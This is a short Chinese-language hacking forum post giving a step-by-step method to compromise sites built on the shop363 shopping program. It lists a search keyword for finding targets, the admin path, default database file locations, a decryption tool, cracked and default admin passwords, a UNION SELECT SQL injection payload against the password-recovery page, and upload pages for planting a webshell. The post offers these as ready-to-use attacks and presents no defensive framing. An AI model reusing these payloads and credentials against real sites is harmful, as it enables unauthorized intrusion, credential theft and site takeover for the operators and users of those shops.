| By:sniff3r
前几天在t00ls求助后台拿Shell方法，得到了回答，确实能抓包上传拿到Shell。那么我也将漏洞放出来。很垃圾的，这个才是真正的通杀该程序。官网测试成功。
这个程序安全不是很好，不过其中的一个replace（）函数写的很好，不过没有找到是怎么写的，将注射中的 空格 select %20 +号 还有/**/等过滤为空。在搜索出存在漏洞 语句很麻烦 ，我也不写了)直接来个釜底抽薪的方法，直接拿密码账号 很快的。别丢臭鸡蛋给我就可以了
关键字：技术支持：shop363.net
后台地址：/admin_shop363/
数据库：Data_Shop363/Date_Shop363_shop.mdb
数据库解密工具：AccessUnLock.exe
破解出账号：admin 密码：actionshop363?
备用数据库：
Data_Shop363/Date_Shop363_shop.mdb默认数据库
bbs/data/#sjyshop363.mdb论坛数据库
首页取回密码处注射漏洞(对拿Shell没有多大用，不过能爆出一些用户名密码）直接访问http://www.shop363.net/shop/getpwd.asp
'union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from shop363_user 显示为7
依次换为username password
也可以使用后台默认密码：action first 第二组：admin admin （90%能直接进入后台）
拿Shell：http://XXX.com/delivery_printer/upfile1.asp
http://XXX.com/csv/upfile1.asp
抓包上传。不解释。看图说话：
  
|